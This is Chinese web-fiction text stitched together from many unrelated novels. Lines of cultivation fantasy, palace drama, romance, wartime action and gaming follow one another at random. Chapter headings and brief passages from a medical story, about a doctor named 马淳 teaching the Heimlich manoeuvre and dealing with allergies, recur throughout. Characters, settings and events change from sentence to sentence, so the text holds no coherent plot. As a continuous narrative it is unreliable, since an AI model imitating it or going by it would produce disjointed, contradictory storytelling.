这个导演,可是自己重金挖来的,最重要的是,签订了一个二十年的合同,只要不是公司倒闭的话,都可以利用下去。
如果说之前一箭的光环看起来有一手指粗,那么现在就有一个拳头左右粗,连那个白意都觉得这一箭不简单。
在大太监万年如一日的“有事起奏,无事退朝”声中,百官没有一个上前的,但是旁侧传来的喧哗似乎更能让他们注目。
“其实也没有什么可说的!”妹子摇了摇头,再度深饮了一口啤酒,才又说了起来。
剿饷,是为了镇压流寇筹措军费;练饷,是为了练兵所用,再加上一个辽饷,就构成了明末臭名昭著的‘三饷’。
“别着急,宝贝,我现在就去公司!你等着我呀!”唐展笑了笑,这才又挂掉了电话。下楼又开了车。
“圣洞?这里面的元气有比秦国那个皇陵塔浓厚吗?”秦风倒是满期待的,而这时系统还来了一道声音。
不就是清明上河图吗?狗大爷是见过大世面的人,怎么会因为一幅画而如此失态?
宫霆对他却是冷面相待,已经决定要彻底把宫九九的这些产业的蛀虫清理一遍。
这要是第五杨都被解决了,那我该怎么出去?我岂不是真的要困死在这里了?
剩下的都是一些游魂野鬼,对白骨手臂这个鬼物的作用都微乎其微,更别说司夜他们,感知不出什么来的。
我停住了回过身疑惑的看着她,她也慢慢的把身体转向我这边,面无表情,但眼睛却是直勾勾的盯着我。
挂掉电话,我心里却一点也不轻松,孙景恒是什么时候掉到山坡下边的我一点都不知道。而且我更感觉那个老太太不简单,现在想起来她是真的想要帮我,那个时候我身边的孙景恒就已经不是孙景恒了。
她穿得堪称朴素,但偏偏和这个村庄的气质格外搭配,显得她如同隐世仙人一般。
宫寒澈这下不光是耳根子,就连脸都瞬间红了起来,看到自己放在她胸前的手,连忙放开。
与风月不愿意再僵持下去,老头这人性子十分狭隘,当面不乐意别人忤逆他半句,背后还喜欢阴别人。
不同的门路,有着不同的手法和方式,以此区别门庭,和武技功法差不多。
连叶天也是越听越好奇,这功法果然奇妙,竟有如此想法,真不知道,是哪位大佬创造出来的。
一个眉慈目善的华服老者,发须皆白,身体上没有妖族的气息和特征,像是个地地道道的人族修士,独自占着张桌子,自饮自酌,体内的气息深不可测,却是个铸就了圣台的圣人。
系统表示,怎么好像混进了一个奇怪的东西进去,三秒男是什么鬼……这皇帝也挺会玩的。
第102章 嘴歪眼斜,见什么都是歪的!
这天清晨得空。
徐妙云道:“夫君,父亲说皇庄的庄稼该去看看了。”
“好啊,就当是散心。”马淳道。
“骑马去吧,好久没骑马了。”徐妙云建议。
马淳这才注意徐妙云今天居然穿了一身利落的短打,显得英气逼人,原来是要骑马去。
“好啊!”
而现在,卿鸿眼眸凝着焦距的看着她面前,那张巨大深藏在面具之中的脸,眼眸深处滑过一丝邪肆的笑意,旋即,素齿狠狠地要在了男子削薄的红唇之上。
金猫彻底炸了毛!它整个身体弓了起来,四足点地拼命的乱窜,企图将背上的突袭者给甩下来。而地上的金色溶解液却由于失去了主人的操控,停在了原地不再继续流淌。
二姨太重新望着何璟晅一眼,没想到他年纪轻轻的,居然有这番谋略,她纵使经历过那么多大风大浪,也没有这番的胆识与谋略。
“请不要担心,都是无污染的纯种白鸽,我确保它们的安全性!我们是为了和平而来。”说着傀儡师便走到车子后方,躬身弯腰打开了车门。
“这次把他带上,估计也是因为那什么神龙气运的缘故,毕竟是龙族后裔,可能有这方面的优势。”赵君宇心中暗道。
王虎看着天空之上,一锄头下去直接把多目怪压制下去,甚至打回原形的白啸,顿时笑了起来,这尊从图腾时代活到现在的白虎这些年来一直呆在万妖谷内种菜。
盘宇鸿听了和尚话之后,心中微微一动,也许这和尚很厉害,可是从他之前所说的话来看,他的厉害也仅仅是相对于自己而言,如果梅雪莲出现的话,自己这边也许还有一线生机。
王虎带着三人进入了山谷之中看着谷口自己昨天亲手写下的万妖谷这三个大字,甚是满意的点了点头。
他有试着呼唤梅雪莲,可是却得不到任何回应,这与梅雪莲之前陷入沉睡不一样,之前梅雪莲陷入了沉睡,可是冥芯却还是能辅助纳铁,虽然辅助效果不怎么样,但却胜在一个安心,可现在,纳铁却实在无法安心下来。
而九天玄君却跟空姬不一样,虽然他在九重天都是顶尖的存在,可是也无法来到地府,所以他也只好任由空姬来到地府了。
叶梵天声音带着无边雷鸣,仿佛是愤怒的神灵一般,响彻了云霄。
却是通往云别城的唯一通道上,突然闪出几百名劫匪,将路堵得死死的。
“我不能照顾她一辈子,只能托付别人了。”白少紫眼神有些涣散,轻轻看看窗外的一切,秋风吹过光秃秃的树枝晃动。
之后,陈昊又让蒙蒙奇跟自己视频,模仿直播五分钟,粗粗的略带沙哑的声音,也很能用声音去营造气势,不到五分钟,能看到蒙蒙奇的额头出汗了,很卖力气直播,看得出来有野心想要在这条道路上好好走下去。
坐在看台上的云画导师阴阴的一笑,脑海中浮现出昨天跟青瑶的对话。
一个是得到静妃娘娘的看中,怎么着别人也不敢对她太过分。一个是得到冯嬷嬷的提携,只要不主动惹事,冯嬷嬷肯定也能保得住她。
看着月葬花的剑断上白卓紫的,唐唐才缓缓后退了几步,突然感觉好无力。
他并非是没有丝毫的思路的,在他的体内,此时的地狱印记正在散发着无边的光芒,这分明是有着强大的存在在和对方相互的吸引。
第103章 视直如曲症
为首的一个军官忽略掉所有混子惊愕到极点的目光,直接冲到徐风跟前去朝着他敬了一个标准的军礼。
看着江燕委屈痛哭的样子,林云禁不住有些黯然,眼神,不自觉地低沉了下来。
第三件天下大事,两年来,二十位妖孽遭到击杀,也导致了原本十年一届的妖孽封神盛会的急速推进。
“怎么?你不知道四剑圣阵到底是什么?那你为何会出口说出四剑圣阵的字眼?”宁一笑的脸上恢复了微笑;。
这头石猴与佛门的恩怨持续了万载,不可能就这么轻易的化解,更何况在这片神庙遗迹里,处处充满了诡异,强大如他们,也要为之忌惮,不敢展现最后的底牌。
只是黑土在飞过金无水尽的时候,已经有好几道眼睛注视着他,目送着他离开。
如今天界依旧还是对圣域联盟虎视眈眈,倘若没有林云的确切行踪,黄帝也断不可能派出一名宗主前来,毕竟这样就是在浪费人手。
石皮剥落,整个石胎如是神灵般,悬浮在半空中,里面那张金色的符箓不断旋转着,散发着神秘的气息,而那道微弱的声音,正是从里面传来。
两团元玉弹被林云拍飞后,分别朝左右两侧飞出去,先后落在左右两侧数千米外,瞬间形成两团璀璨的光团,将那片区域的所有事物统统炸成灰烬,只留下两团数百米高的蘑菇云。
就在他念头转动之中,身子已经穿过了那道门户,走入了闺房之中,准备一探究竟。
其实我心挺痛的,不知道什么时候开始无能为力到只能用钱解决问题,更别说那公司是我心血,稍微理智点的人都该知道不是个好主意。
可是还没等他跑呢,门口突然传来许多喧哗声,接着就看到院门被推开,一个洋和尚,领着几个差役走进来。
“好了,该进入副本了。”有些好笑的望了望风雨无阻那难看的脸色,林枫咧嘴道。
而帕奇之所以会对他这一个缺陷印象深刻,全都是因为之前在银河虚空其他星球上所发生的一件事情。
“我知道我们学校办公室的电话号,到时候我真混不下去就让爸妈来接我。”我盯着他说。
更重要的一点是,这都是她自己猜测出来的,并不是真的知道赵杰的计划,所以在那种情况之下她抱着一丝侥幸的心态,选择了逃避。
话音刚落,楼兰杀击出的千神斩被墨子离皱眉扬手一挥便打了回来,反手再击出一掌,楼兰杀躲闪不及,被剑气掌力连续击中,猛地喷出一口紫色的血,被狠狠打飞出去。
楼下及其热闹,客人们觥筹交错、相谈甚欢,舞台上歌舞升平,舞娘们手执团花扇翩翩起舞,舞衣翩飞,仿佛是一朵朵盛开的牡丹花。
系统拍卖会,这可是极品装备集合的代名词,相信不光会吸引卖家的疯狂推崇,连那些有钱人肯定也会疯狂购买适合自己的极品装备提升实力的。
紫月姑娘率先出场,轻如蝉翼的紫衣在袅袅檀香中曼舞轻摇,面罩紫纱,将她那倾城之色笼罩得若隐若现。仅那惊鸿一瞥,将她身边伴舞的舞娘们瞬间贬为尘埃。
“咳咳,那个,你们是不是应该出去拉客了!”南宫白假装没听见雷骁的牢骚。
“除了他,我再也找不到,那么爱我的男人了,如今的我很好,姐夫,我先走了。”韩菱说完之后,微笑的离开。
秦昊看萧会长的神情,知道自己可能想岔了,尴尬一笑,点了点头。
“惜如?你怎么了?是不是有什么事情?为何这么着急?”上官傲不解的问道。
“不然我三天后带人来给你这三个酒吧重新粉刷一遍,刷红的,用你们南天冥这些人的血!”说完李嚣就狠狠的把手中的烟蒂摔在了地上,溅起一道肆意的火光。
这样子看来,我前世应该就是挑灯道人了。我现在回过头来,都觉得自己有些无能,当时那么高深的法力,为什么连宋铁枪都救不下来?当年那么厉害的本事,怎么就无法劝说宋铁枪轮回,而让他在这里受这阴风折磨之苦?
看到李兰已经恢复自由,在听到李天的解释,这才有人开始试着动了动身体,发现自己的身体早己恢复了行动的能力。
“那就给我请最好的心理医生來,如果她死了,你们也活不下去。”上官傲愤怒的说道。
因为这样的变化,实在是太突然了,让他们突然之间,有一种不好的预感。
之所以让我做出这些残忍勾当,不就是因为你们狡猾,不肯交足圣税,不肯做好圣工吗?
第104章 躯体妄想障碍
说话间,前方出现一片开阔草地。
七八个锦衣少年正在树荫下歇息,见他们来了,纷纷起身。
“幽灵”很轻松地从“血蛛”手里夺过长刀,劣势立马转变。他刀一到手,立马狂风般向“血蛛”席卷过来。
一个弹匣打完,孤狼把微微发烫的步枪抱进怀里,她深深吸着空气中那股特有的硝烟气息,如饮醇酒般脸色微微发红,而她的那双眼睛,更亮得让人不敢直视。
龙兵联系了j军区的钟司令,钟司令打了个电话给附近的军分区,让他们安排住宿等一切事情。
今日,她没有梳起发髻,长发用一根白色的绸缎绑住,有几缕从耳边垂下,顺滑如丝。白皙的脸今日涂抹了淡淡的胭脂红,柳叶眉微微扬起,眸光澄明而纯净。
原本她一直只是怀疑,可经过刚才电话那头金喜莱的描述,她确信了,蒋恪一定有什么。
这还是他们真正意义上第一次见到魔族之人,怪不得两人都身着黑衣,面色都有些苍白。
也就是说,宁王的眼光很是正常。端木静光已经算得上是个大美人,可他所宠爱的许氏无疑更胜一筹。
四十一军司令部,荣发绸缎庄西厢房房脊上伸出的两杆九九短式轻型步枪,黑洞洞的枪口,还冒着蓝烟,就蛇头吐信一样对准了东厢房那间亮灯的窗户。
那蕴含天地规则的魔拳缭绕着汹涌魔气,重重的轰击在了天玄的躯体上。
“儿子,去,灵儿等你好久了,听话,儿子!”孙慧娴把费良言和刘灵珊推到了楼梯口。
董占云也不管三七二十一就这样出手了,曲仁正怒极反笑道:“好,我倒要看看师弟有几分本事。”也难怪曲仁正看不起董占云,曲仁正现在的修为已然接近宗师中期,自然不把董占云放在眼里。
在那巨大的灭魔令的周围,簇拥着不少的强者!放眼望去,密密麻麻的,多不胜数!
然而,就在这时,那生灵居然追了上来,一把拽住了崔封的双腿,让疾速飞出的崔封猛地止住,崔封双腿发出“噼里啪啦”之声,不知断了几根肉筋,碎了多少骨头。
可这本斗式榜并不完整,只记载了八十名以后的斗式,八十名以前的,则是一片空白。
“萧队长,到底是怎么回事?司令部那里有什么新情况吗?”一名轻伤的基地炮兵队长焦急地问道。
“我靠!你玩我?”此时的杨大气的都要七窍生烟了!在大陆混迹多年,此时的他又怎么会看不穿?
“没问题,我吃的了苦,不知薪水如何”陈宁说道。陈宁心里说道自己前世参加特种兵训练时的苦可比这厉害多了。
刘晓玲一惊,手欲抬起将王轩龙搂住她的手移开,但却无法移动丝毫,俏脸又是一阵羞红。
“杀!”王涛一掌击退唐云元之后,对着众人道。之后就一跃而起,向着唐锦江等人冲去。史炎紧跟其后。
“众位大人,真是想不到方尘如此lang子野心,以致刘家惨遭如此变故。各位大人深夜冒险前来,怕也是咽不下这口气吧。”刘易生气地道。
第105章 吃颗毛豆都过敏!!
屏幕上显示出清晰的腹腔影像。马淳特意调大音量,让肠蠕动的“咕噜”声通过扬声器传出来。
偏将还想再说什么,戚八九直接一拳砸在他嘴上,顺带着踹了这个偏将一脚。
他这个老婆可不简单,可是国宝级的科学家,对于高科技领域的事可是一清而楚,而且她自身也是在基因领域颇有造诣,甚至可以说已经达到世界领先的水平了。
夏辰叹了口气,他有预料到布隆会做这个选择,但他觉得,布隆如果闪到自己身边,自己能救到布隆。
这是盗猎贼被金卷毛的尖齿咬中了。盗猎贼抡起双管猎枪砸中了金卷毛的后胯。金卷毛忍下剧痛又朝盗猎贼扑去。双方展开了殊死的鏖搏。
妖姬的分身被打出来,此时两个残血妖姬分别向不同方向跑去,剑豪放开鼠标,对空a了一下,系统自动锁定左边的妖姬砍去。亚索一个e技能踏前斩冲刺过去,两剑平砍在妖姬身上。
“不行,先找辆车,把我们送到龙海,我们先去酒店,然后车修好后,在开回酒店。”楚雨馨回道。
风凌一开始就施展猛烈的攻击,杀伐果断,对攻击而来的人,无论是妖兽还是武者,都绝不留手。
雷协迅速拿起背后的弓,这时在他头上匀速飞行的直升机降落了一点,雷协伸手从它身上拿了一只钻头箭。
对面的拳忡见夜星辰竟然如此挑衅自己,顿时猛地跃起,巨大的拳头狠狠的向着夜星辰的头顶砸了下来。
红色光芒继续蔓延,不断的帮着我拓宽领域世界,而闪电就不断的毁灭领域世界。
三年后郭嘉他们如期而至,看几人的兴奋劲就知道他们收获不错,郑宸也没有去问他们。让他们进入世界,然后带着他们离开巨灵秘境。
如果他们没有自己在场,光凭借安晴一个仙帝十八,断不能护她们所有人周全。
毛乐言听着两人的对话,有些诧异,那日就已经有些奇怪了,静王妃不是只生了一个孩子么?为何会多了一个?这个俊儿到底是什么人?
周围的百姓却对贺兰瑶多了几分好感,就那个卫兵作恶的程度,这王爷王妃也仍然是按照律法处置,真是宅心仁厚,只是,为何总是王妃在说话,王爷却是一副无力的样子靠在王妃的身上呢?
毛乐言也不知道怎么说,她现在甚至觉得她来到这里是爷爷的安排,那是否代表事成之后她可以回去现代?若果是这样的话,感情是半点沾染不得的。不管是庆王还是皇帝,都该划清界限才是。
贝贝脸都黑了,要车子?都坏了,他撞没了玩具车,就不该赔么?
最使一干臣子称道的是,尽管太后出身于大雍世家张氏,但她垂帘之时从未对张氏另眼看待、特别提拔。甚至有几次臣下请封太后之父为国公,均被太后严词驳回。
老大还说他太凶,现在他可是更凶。刚子不由得脸上露出了一丝的笑意,那笑意还没从嘴角划出来,就被秦波天一瞪瞬间就给瞪了回去。
经过这件事,后面的拍卖反而十分顺利,即使是后面有包厢里的贵宾出价,众人的热情也依然不减,谁知道那些有钱人是不是在玩?
第106章什么过敏,矫情,多吃几回就好了
隔了两天,铁蛋又被农妇急匆匆抱进了医馆。
孩子脸色发青,呼吸急促,比上次更加严重。
在特勤队当中,有一些能力者,他们在驱动能力的各个方面,和绝大多数的能力者比起来,略有不同。其中最有名的两个,和陈弈都多多少少有点关系。
“左真,不是我不能杀你,而是念你修炼到分神期不易,让你归顺我天命教,给你一活路。”秦阳淡然说道。
“怕什么,司隶重围都冲出来了,凭这几个区区的佣兵团!”胡邪不屑。
胡梓欣拧蹙着眉毛,有点怀疑自己耳朵似的惊愕地看着徐锋,嘴唇蠕动,似乎想要说些什么,但是最后还是眼神冰冷地点了点头,什么也没有说,踩着她的平底长筒靴走出了秘密会议室的大门。
这是门派发生大事了,心秋不敢怠慢,立即整理思绪,穿衣系带,挞拉着鞋就跑出去来。一路上回想着自己刚才冥想的‘山术’,还别说,还真让他找出了一些眉目,就这么着跑到了门派的大广场。
美夜子在我的面前停下了身,她低着头,黑发垂落,手臂伸直,五指用力地掐住了我的咽喉。
“我是色,可某人就是喜欢,还不止一次喊要呢。”风离喃喃自语,脸色尽是得意之色。
几名近卫从远处纵马过来,一眼看见了那个无头尸身,感觉背后的汗毛都竖立起来。
苏妩这时又隐藏的修为,隐藏了真实的容貌,姿色看起来比红袖逊色了不少。
因为,洛思涵的领域进化成冻结之后,实在太过可怕了,比其他圣阶强者强大好几倍!平时圣阶强者之间的战斗,很少会使用领域或者冻结,因为双方一起使用的话基本上都是相互抵消,起到的作用不是特别大。
留下尸体,可能落在正道手中,别汲取血液,化为一些丹药;也可能落在魔道手中,沦为一些炼尸。
只听一声大叫,李克手中的长剑应声飞出,长剑周边的数十把光剑也是紧随其后,直指半空中的邵翔。
得亏徐威的理论课不差,不然还真满足不了这两个求知欲旺盛的家伙。
放寒假的时候,两人也一直待在一起,而有,是温余粘的18岁生日。
二人再度袭来,尚未接近林岐,他们身上极端怒火伴随着凡仙只能便撼动天地,一时间血河激荡,苍穹欲裂。
林辰迅速的回忆自己前世,所经历的点点滴滴过了不大一会儿筛选去了,很多的无用的信息之后,终于也想起了这一个狂雷宗,自己在什么时候听说过了?
而黄智钦则被徐威背在背上,虽然他的命保住了,但是却因为失血过多,还处在昏迷当中,一时半会儿看来还醒不了。
最后,温余粘选择了一件深绿色的抹胸吊带连衣裙,裙摆正好盖住膝盖。但当看到价格是五千元后,她惊住了。
孩子早已成了我的心结,怎么都迈不过这个坎儿,每次听到都会产生内疚感,于是我又被他噎得说不出话来了。
说完长孙后的眼神中,突然射出两道银色的星光,这两道星光直接没入两人的脑海之中,顿时两人的脸上便露出巨大的痛苦之色。
第107章 刀剑杀一人,无知害三代
袁珍珍这一个月已经习惯了她做的营养早餐,今天一直没有等到她的早餐,不免有些恼火。于是,就让家里的佣人去催她起床。
“前辈,我们几人敢进镇妖塔,可是那容易受到惊讶之人?”张帆笑着说道。
临出发下乡的前一天晚上,叶雯把手机给设置成了关机,主要是不想和某人联系,家里人要是有情况,打一起去要好的崔大姐手机也是一样的。
迷迷糊糊之中,感觉到左轮的大手越发的放肆,可她却无力阻止。
就在这时,里面传来一道强悍的元力,三人警惕,连忙抵挡,但就在这时,这元力太强了。
她之前偶尔会念叨着遗憾,遗憾自己没能亲自跟王全大哥说一声谢谢,遗憾自己没能多帮王全大哥一点。
“皇上,究竟怎么回事?哀家听说昨晚皇上亲自去了乌刃宫?那个地方,可是不详之地,皇上是九五至尊,万一伤了龙体怎么办?”太后的目光在他身上上下扫过,看他安然无恙这才放下心来。
自从上次宫中一别之后,两人并未再见过,此番相聚也是苏霁月回来之后第一次。
有目的的购物,他连篮子都未拿,大手抓着那几个东西,就往收银台过去。夜深,购物的人极少,没有排队直接将东西送上收银台,趁着收银员在扫价码的时候,他挑了几盒tt,一同买单。
在很远的地方,所有海族都看着这一切,他们很想知道,海神能不能获胜,如果海神失败的话,那么以后,飞升之海将全面爆发战争。
无论如何,最后的胜负决战,总算还是把握在自己手里的,而不是要听天由命,这已经是最好的结果了。
悠悠却没有进去,她向后退了几步,找了一块石头坐下来,看着百米之外的惊鸿兽,眼睛一眨一眨,不知道想什么。
齐沉竖耳倾听,同时把自己来到这个世界以来的见闻与暖男的话进行匹配。
下一刻,姐弟抱在了一起,没有话语,没有叹息,别有幽愁暗恨生,此时无声胜有声。
程非的神识再次往前扫去,可是却来不及了,那里正伸开一只化神期修士的手,一个飞遁,便离近了程非,一手便将程非给控制住了。
静谧的环境下,只有点击鼠标的啪啪脆响,望着屏幕上大大的「胜利」二字,耳中听着赔钱货和大黑的呛声和自夸,时间,仿佛回到最开始的时候。
不错,逃脱那种强大舰队的追杀,必然是一次辉煌胜利,如果他出席宴会,做出一次振奋人心的讲演,可以让士气提升,让新老船员组成的大团队变得更加的凝聚。
陈十三睁开眼眸,入眼处人头攒动,离得最近的是两幅梨花带泪的俏脸。
可就在他攻击之际,两名“大秦锐士”持剑朝他背后袭来,并用利剑划破他的身躯。
而在山坡的人们,更是凄惨,上有冰雹天降正义,下有冰雹疯狂冲击。
想要找到神像,就先得找到妖孽所在,陆靖参与这出发前的会议,目的也在于此。
他带着郝姨娘去边城的时候,他爷爷送了他不少人手。他还以为,他爷爷给他人手是助他建功立业的。
所幸前世二十多年的船长不是白当的,再加上又有徐酌这个同样在海上混了好些年的老船员帮忙,两人分工合作,昨天一下午再加上今天上午,大部分东西都已经齐备。
眼睁睁的看着爱的人,深陷病痛的离开,而无能为力,才是最揪心,最心碎的。
二亲王和叶老爷子聊了会就说很担心叶十三,不知道叶十三现在怎么样了?
任军还透露,据说辉煌娱乐有人传出,谭青的微博,好像也是曹俊辉搞的鬼,并且因此跟谭青闹翻。
不知道遮天之手主人是自觉攻不破真气罩,还是有什么限制,并没有再次出手,这也让周瑜等人微微松了一口气,他们还真怕遮天之手主人多来几次,哪怕真气罩也坚持不了几下,到了那时,他们怕是一个都跑不掉。
林木开口提议,毕竟昆仑宗有这么强大的实力,如果能成为好朋友,自然比成为敌人更好。
晚宴在夜里十点多之后终于结束,唐凤翔放话,大家可以一起去唱k,或者找地方喝酒,他负责报销,但彭向明和徐精卫还是不约而同地婉言谢绝了,表示很累,酒也喝得太多,所以要回去休息。
不远处的王朝阳皱着眉头看向前方一袭青衫的周瑜,对方相比之下,比他要从容了许多,战斗到现在,除了胸口的伤势外,其余都还算完好,再反观自己,双手报废,左脚也隐隐作痛,只剩一只右脚完好了。
听到这个振奋人心的消息,原本不知情的众人此刻在心中都是生出了一股强烈的信心。
“为什么要离开呢?难道这里,比不上你们原先的世界吗?”五月国师温柔地望着她,他的眼睛,黑的如同冬日的湖水,深不可测。
“呼!呼!”紫剑帝国的这战皇一口一口粗气从脖子中喷出,隐隐的有一丝腥味,如果眼神能杀人的话,现在铁君义和毛驴老者早就被划成几大块了。
到时候这个替罪羊会是谁?冈村宁次用屁股都能想得出来。虽然这事自己事先一点也不知情,但是不管怎么说,东西是在自己的防区里面丢的,给自己按一个“治安不力”的罪名,自己一点脾气都没有。
这种场面过了沒多长时间,精明的日军军官和老兵们就看出了苗头不对,对方那杆枪实在是太毒了,一旦有人敢露头表现出一点儿与众不同的样子來,不超过三两分钟,绝对会有一颗子弹招呼过來。
第108章 婚宴!海姆立克急救法!
让林天疑惑的是,在自己的识海中却没有发现劫灵的形态,尽管劫灵变异了,但它毕竟还是属于自己的,甚至可以清晰的感觉到自己的劫灵,只是不知何在识海中却没有发现。
第二天并没有太多的事情发生,一直到了傍晚,莉安才找到叶麟,将她准备的那件黑色的西装交到了他的手上。
叶麟直接吐出一口鲜血,在月光之下,他看了血,发现竟然是黑色的。
诚然,来到这里是命运强加于他身上的,但来到这里之后,有太多东西是他自己想要去追逐的,这一次,他不会让命运将这一切都再度夺去。
孩子是夫妻间最好的感情纽带,辰雪自是欣喜若狂,但大夫却道她身子还未养好,突然怀孕,怕是有伤母体。
在一统凉州的第二年,马家军便一举进入了关中。如今的马家军和十年之间,可以说是有着天壤之别了,实力扩大了接近十倍,纵使是比起当初十八路诸侯联合讨董时期的董卓一方,也差不了多少了。
慕倾城探头一望,讶色更浓,这种取水方法,闻所末闻,这男人似乎懂得许多别人不懂的东西。
于是,她不动声色的连衣裳带头饰画了几张图送去请刘季平指点。
看着沈瑞的车就停在一个侧门的对面,龙风已经毫无怀疑的确定了她就在这里。
进入了这个相对僻静的私人空间之后,严白虎当即便头疼了起来,经过今天这一战,他仿佛就是一个斗败的公鸡,垂头丧气,斗志全无。
好在这个屋里就白青和这个老外,这场搏斗并没有造成多大动静。
记忆深刻的地方,那就只有城高了,毕竟那里是我和夏雪最初认识的地方……正想着呢,周墨突然打来了电话,说夏雪妈妈已经给夏雪办了出院手续,现在就要走呢。
有徐凤花在家之时,这徐国成还收捡一点,如今这徐凤花不在家了,这徐国成对家中之人,那就是想怎么玩,那就是怎么玩,谁也不敢表达出来,表达出来的人,那就是见不了明天的太阳。
把人生当成一剂药,你就能明白了,原来是阳气重了,现在是阴气重了,只不过自己的苦果得自己品尝,别人代替不了自己。白建立对徐凤花鞠躬,让王玉朝想不明白,自己师父这是怎么了。
甘宁等到斥候回来,选择距离龙编最近的一处海湾,停泊战船,八千人马,迅上岸。战船上的士卒看到大队人马离去,将战船驶离海岸,到吉婆岛停泊。
空气中弥漫着酒气……不少人都红了眼眶,酒是辣的,泪是咸的。
过了15分钟,信号是勉强接上了,一位满脸横肉的中年将军出现在了投影里。
五百弓箭兵迅来到前阵,王平看着张任与一帮乱卒越来越近,喝一声:“射!”顿时箭如飞雨,射向张任等人。张任不愧是蜀中名将,轮开大枪,如风车一般,将射来的箭矢纷纷拨落。
袁绍登基,首先想到的是请谁来观礼,第一个当然是自家兄弟袁术;曹操曹孟德请不请呢?刘姓家族的诸侯呢?孙权竖子呢?袁绍想到这儿有点头疼了,命人叫来许攸、郭图、逢纪等人商量。
郝淑芬不服气可是现在荣鹏是要去查荣轩的事情,是为了救李荣轩,她也就没有再和儿子争辩什么;但是她把没有发作出来的怒气全算到了紫姗的头上,认为如果不是李紫姗的存在,她的儿子怎么可能和她这样说话。
两千年前的巴国宝藏,与之具有百万年历史的溶洞相比,实在不值一提,就时间而言,当年巴国人进得此洞的场景与现在其实并无太大不同。
叶天邪在空间的错位中陷入了意识的错乱,眼前的世界也是一片空白。随之,他感觉到了身体的下落,然后重重的摔落到了地上,也让他终于清醒过来,抬头看向了前方,同时,提示音也在他的耳边响起。
商纣废墟所在地是百夷、西伯拉、荣昌三国三不管地区,恶魔军团部队长时间呆于此,势必会引发百夷、西伯拉警觉,进而有所动作。
好吧,天气恶劣,她在连顺镖局耽搁的时间又的确太长了些,关蓉等得心急,也实是情理之中,但不管怎么说,这也是她头一遭来到县城,连方向还搞不清楚呢,关蓉就丝毫不忧心她一个姑娘家会碰到意外?
冯管家也不知道,白世华又犯浑了。知道白世年说的是真的,当下就在杨家囔囔起来。杨家的人肯定是不想这件事传扬开去。于是,就闹了起来。纠缠之间,白世华被打着了。
景老爹和景老娘不约而同发出一阵干哕,使劲吞了一大口唾沫,才将那股子恶心劲儿给压了下去。
温婉笑着应道“放心,见得上的。”冬青以为温婉是在说笑,但是对于温婉的这种自信,冬青对于这次的比试,觉得把握还是很大。
学术报告厅所有人都呆了,青天白日,这是发生什么事。两秒不到,一记沉重的“扑通”声传来,狠狠地砸在各位身上,心上。
如果他们知道有危险后退,或者分散攻击的话,叶天邪或许会头疼到吐血。
在外面人指指点点的奚落之下,霓思韵和霓思雨两人低着头转身灰溜溜的离开了。
大丰和华盛还有苏氏都是兄弟企业,他绝对不能得罪,该是承担的责任都要承担。
火焰王子也是穿着一身红色的长袍,只不过哥哥少了一个王冠和一个魔法杖。
第109章 想看人过敏而死?这是纯坏种!
马淳走到一张空椅前,示范道:“可以找固定物,比如椅背,抵住腹部快速前倾,原理相同。”
傅让突然插话:“马兄,这法子该有个响亮名字才好流传。”
“是谁给你的权力?”皇后不由得斥责道,她尚且在这里,哪里轮得到她来做主?
而在整个神界知道周进是杀害姬氏家族众多子弟的人只有周府之人和麒玉龙等人,但是他们可是不会把这个消息泄露出去。
那视线探查十方,上观九天,下看九幽,一瞬间,便仿佛将无数的大道纹路收纳其中,漫漫的目光在照耀天地。
她原本只是想让江棠锦认清自己的地位,再说她做的事情,白父也是知道的,对于白父,她最了解不过了。
虽然整条街看起来很是安静,但是两人还是不敢放松警惕一前一后顺着路边店面边走边寻找有用的物品。
萧长修轻轻的点了点头,“方才针扎进去的时候,竟觉得有一丝的疼痛。”他微微的皱了皱眉描述道。
就在赵鑫和李大头两人精神高度紧张时,突然飞机一个侧飞,三人立马都歪倒在机舱内。
林则修一向杀伐果断的脸上闪过一丝纠结的神色,如果他真的想要这些东西的话,阮千雅一定就是必要的交换条件。
“那这样,我去外面探探情况,看看离王那边的动静!”平子期一刻也闲不下来,这能干的模样倒是让平易王十分的喜欢。
城郊的路上,韩笙儿坐在马车里,看着对面闭目养神的萧景泽,不由挪开了几分。
“你就不怕刚刚那些人被你惹怒,然后一拥而上把你撕成粉碎吗?”米琪翻着白眼问道。
但他知道,面对慕容震云这种立于人间巅峰的强者,以他目前的实力,冒然插手就是找死。
此话一出,周遭气温瞬间降到冰点,欧阳洛心里“咯噔”一声,慌张的把人护到自己身后,然后一脸哀求的看向脸色铁青的凤清夜。
里面的人物,我甚至有时在捕捉到他们的神态时,都会为之感动。
他缓缓睁开眼睛,一双眸子,亮如星辰,闪烁着蓝色圣光,良久,才随着太初神皇奥义心法的结束,渐渐熄灭。
夏亦拍拍她手背,起身过去打开门,温和的脸,在下了楼梯后,变得面无表情,带着周锦朝客厅走了过去。
甚至她还看到几辆只在网上、杂志上看到过的跑车就停在面前,圆圆的俏脸,顿时泛起兴奋的红色,跑过去就是一张与这些高档车来个合影。
人为财死,鸟为食亡,而福禄寿三星则是为棋而生,嗜棋如命。是什么样的棋局能让三人对弈五年之久,金羿想破脑袋也是想不清楚,这局棋得好好看看。
花千若的手顿了顿,眼光越过花千离看向他身后,果然见到了一身蓝衣怀抱薇薇的沈逸风。
纤长的手指停止了敲动键盘,泪珠沿着白洁儿的脸滑了下来,泪水朦胧中看着荧屏中的鼠标点了打印,终是忍不住蜷缩到一旁哭了。
听到薛慧的话,夏沐瑾并没有搭腔,而是过了很长时间之后才看着她问道。
“如此善举,我定会转达于我家侯爷。想必到时候,白执事能看到大家为天下努力的成果。迟某再次谢过。”迟常青面带笑容深深的一揖,也彻底打消了白执事的怀疑。
第110章 无效沟通对医生来讲就是渡劫!
凤楚歌走入假山之后,环视四周,刹那间却感觉到了空气中异样的气息。
郑清鹰靠在沙发上,闭着眼睛在默默地思考着。龙运这次行动,不仅震撼了整个世界,国是龙运的盟友,s联遭受打击,最高兴的应该是m国总统尼k松。
金毛猴子无语地看着梅吟雪,想了想,然后居然直接掉转过身去,不再理会梅吟雪了。
桑怜一愣,没想到朱莉突然会这样问,想着朱莉对闵谌的想法她也不能说认识,只能一脸茫然的摇头:“我只是一个刚演戏的新人怎么会认识vi呢?”脑子却飞速转动,朱莉是怎么会突然想起来问她这个问题的?
卓嘉慕看着夏天萌的眼睛,郑重点头:“好!”他相信妈咪能够说到做到,因为她从未骗过他一次。
龙运轻型装甲车的诞生,紧接着就是医疗车、救护车、手术车、指挥车、电工通讯车、发电车和兵力输送车走下了生产线。尤其是从d国手里得到威廉·迈巴赫名牌汽车图纸后,高级轿车也成了有钱人的抢手货。
